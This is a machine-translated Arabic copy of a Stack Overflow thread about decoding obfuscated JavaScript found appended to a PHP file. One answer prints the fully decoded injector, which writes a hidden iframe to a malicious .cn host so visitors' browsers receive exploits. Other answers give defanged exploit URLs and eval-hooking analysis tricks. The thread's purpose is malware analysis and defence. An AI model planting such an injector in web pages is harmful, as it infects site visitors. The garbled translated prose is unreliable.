سؤال

ولقد حصلت على بعض التعليمات البرمجية التي كانت في الجزء السفلي من ملف PHP التي هي في جافا سكريبت. وغني عن طريق الكثير من التشويهات غريبة مثل تحويل عشري إلى أسكي ثم القيام استبدال التعبير العادي، تنفيذ التعليمات البرمجية وهلم جرا ...

هل هناك أي طريقة لمعرفة ما انها المنفذة قبل فعلا أليس كذلك؟

والرمز هنا هو:

http://pastebin.ca/1303597

هل كانت مفيدة؟

المحلول

ويمكنك الذهاب للتو من خلال ذلك مرحلة مرحلة - لأنه جافا سكريبت، وانها تفسر ذلك، فإنه يحتاج إلى أن يكون decryptor الخاصة به. إذا كان لديك الوصول إلى سطر الأوامر جافا سكريبت مترجم (مثل وحدة التحكم في الحرائق )، وهذا سيكون إلى حد ما مباشر.

وسآخذ نظرة ونرى ما يأتي.

تحرير لقد حصلت من خلال أكثر من ذلك - على ما يبدو مثل الخطوة الأخيرة هي غير تافهة، ربما لأنها تنطوي على "argument.callee". على أي حال لقد طرح ما لدي حتى الآن على باستبين.

ومن المثير للاهتمام وجدت الجزء الأصعب من هذا كان يعطي متغيرات مبهمة الأسماء المناسبة. ذكرني الكلمات المتقاطعة، سودوكو أو، حيث يمكنك معرفة كيف ترتبط الأشياء، ولكن لا يمكنك تعيين شيء نهائيا حتى يتم العمل على ما هي أجزاء التابعة لها. :-) أنا متأكد من أنه إذا يعترف شخص الخوارزمية أنها يمكن أن تعطي الأجزاء أسماء أكثر وضوحا، ولكن في بعض الشيء حيث هناك الكثير من XORing يجري، هناك نوعان من المتغيرات المؤقتة التي اغادر كما الأسماء الافتراضية منذ أنا لا أعرف السياق كافية لمنحهم تلك المفيدة.

تحرير النهائي : أصبح "arguments.callee" الشيء السهل عندما أدركت أنني يمكن أن تمر فقط في النص الخام التي كنت المفارقات فقط تم فك (هو الى حد بعيد تقنية ذكية، بحيث سوف deobfuscation العادي لا يعمل لأنه بطبيعة الحال بمجرد إعادة تسمية المتغيرات وغيرها، وكانت القيمة مختلفة). على أي حال، وهنا السيناريو الخاص بك بالكامل:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

وأساسا يبدو أنه يقوم بتحميل البرامج الضارة من axa3.cn. ويشتبه في الموقع بالفعل من قبل ISP الرغم من ذلك، حتى لا نقول ما كان في الواقع هناك وتتجاوز السوء العام.

و(إذا كان أي شخص مهتمون، كنت تستخدم باستبين كما الزائفة VCS للإصدارات المتغيرة للقانون، حتى تستطيع أن ترى آخر خطوة وسيطة ، وبعد لقائي الاول بعد تحرير قليلا، وكانت مثيرة للاهتمام جدا رؤية طبقات مختلفة من التشويش وكيف غيروا).

نصائح أخرى

وبينما يمكنك فك يدويا، فإنه يمكن الحصول قريبا مملة عندما يكون لديك العديد من مراحل فك التشفير. وعادة ما يحل محل حدة التقييم / الكتابة لرؤية كل خطوة:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

ولكن هذا السيناريو معين محمي ضد هذا عن طريق التفتيش المتعمد للwindow.eval. استخدام arguments.callee يعني أيضا السيناريو يعتمد على شكل Function.toString متصفح معين، في هذه الحالة إنترنت إكسبلورر - انها لن تعمل على المتصفحات الأخرى. يمكنك وضع الحلول في وظيفة استبدال وحدة التقييم لإعطاء النصي ما تتوقع أنه في هذه الحالة، لكنه ما زال قليلا من الألم.

هل يمكن استخدام المصحح سيناريو إلى الخطوة خلال التعليمات البرمجية، أو ما فعلته في هذه الحالة كان يسمح رمز لتشغيل، في جهاز ظاهري مع عدم وجود الشبكات أنني يمكن أن تحمل لشطب. من خلال النظر في document.body.innerHTML، بعد أن استنفدت رمز وجدت وأضاف أنه أشار إطار iframe غير مرئية على العنوان التالي:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

والذي الموجهات إلى:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

والذي ينظر في ظروف مناسبة في IE، يمنحك شحنة من مآثر. لا تذهب إلى هذه العناوين .

وباختصار قد اخترق الخادم الخاص بك عن طريق axa3.cn، واحدة من العديد من العصابات الخبيثة الصينية التي تستضيفها لكن تديرها روسيا في عملية في الوقت الراهن.

واكتبوا على المخطوطة أو شيء يتغير هرب كل الحروف عرافة الى أسكي؟ ثم ننظر فقط من خلال regexs لنرى بالضبط ما يحدث، وتفعل الشيء نفسه مع بيرل بك / أيا كان السيناريو.

ويمكنك أن تجرب وحدة الحرائق وكسرها نزولا تدريجيا. كبداية:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

وهو مجرد اخفاء وظيفة "وحدة التقييم" ب "مسج"

وسيكون أسهل النهج سيكون أيضا ببساطة استخدام برنامج ج بسيطة لتحويل الأحرف عرافة هرب إلى نص قابل للقراءة مثل ذلك:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

هذا (وأضفت تنسيق). سأترك لك الاجهاز على الجزء الأخير الذي يبدو أن المزيد من الشيء نفسه.

وبعناية فائقة - إذا كان شخص يسير في هذا الكثير من المتاعب لتعتم رمز، وربما هو نوع من الكتابة الهجوم

ويمكنك إخراج نتائج التنفيذ على مراحل باستخدام ملف HTML المحلي، وأعتبر قطعة في وقت

والقيام بذلك أحصل على:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

والتي ينتج عنها

jQuery=eval(window.eval);

والتي، كما لوحظ crescentfresh، يربط مسج المتغير إلى وظيفة window.eval.

والمقطع التالي هو محاولة من الواضح أن وحدة التقييم شيء في رمز عرافة، لذلك دعونا نرى ما تبدو سلسلة رمز عرافة مثل (إخراجها يدويا لأغراض العرض):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

والآن لدينا سلسلة نجا في النهاية، دعونا نرى ما في هناك باستخدام تفادي استبعاد (اقتطاع للعرض):

<اقتباس فقرة> 30248118GA0 * ل: WRG: nt9 * 82:) 7Z \ الجبهة المتحدة٪ * {...

وبصراحة، أنا الحصول على بالملل أخذ هذا على حدة، وذلك بدلا ط ألقاها في ملف HTML المحلي، قطع من الإنترنت، فتح فايرفوكس، جافا سكريبت المعوقين، تحميل الملف في فايرفوكس، وتحولت على الحرائق، إعادة تحميل الصفحة حتى أنه سيرشح نفسه، وتفقد DOM.

والسيناريو يخلق IFRAME مع مجموعة SRC إلى [تغيير للسلامة!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

وaxa3.cn هو مجال الصينية على القائمة السوداء الخبيثة

وأنا أعلم به ليس هو الحل، ولكن عادة (حيث إيف شهدت هذه الاشياء كيندا)، يتم وضعها حتى إذا أعدم أن يكون لا خط، يتوقف كل النصي. لماذا يفعلون ذلك؟ حسنا كوز أنها تطبع حقوق التأليف والنشر على النص (أو أكثر عادة قالب).

وعندما يذهب الناس إلى كل ما مشكلة بالنسبة لك لإعطاء الاعتراف ولأن لديهم رخصة إزالة حقوق التأليف والنشر، أنصح دفع ثمن ذلك، لأن حتى لو كنت "الهندسة العكسية" التي، فإنها يمكن أن (ولها) طرق أخرى للتحقق مما إذا الترخيص الخاص بك هو الصحيح. (بعض هذه البرمجيات سوف ترسل في الواقع نوعا من رسالة إذا كنت تفعل ذلك).

ولكن، قبل أن تحصل على أي نوع من اللهب، وأنا أتفق من المثير للاهتمام أن أعود في هذا النوع من الأوراق المالية والحصول على رمز الأصلي وكسرها =)

مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top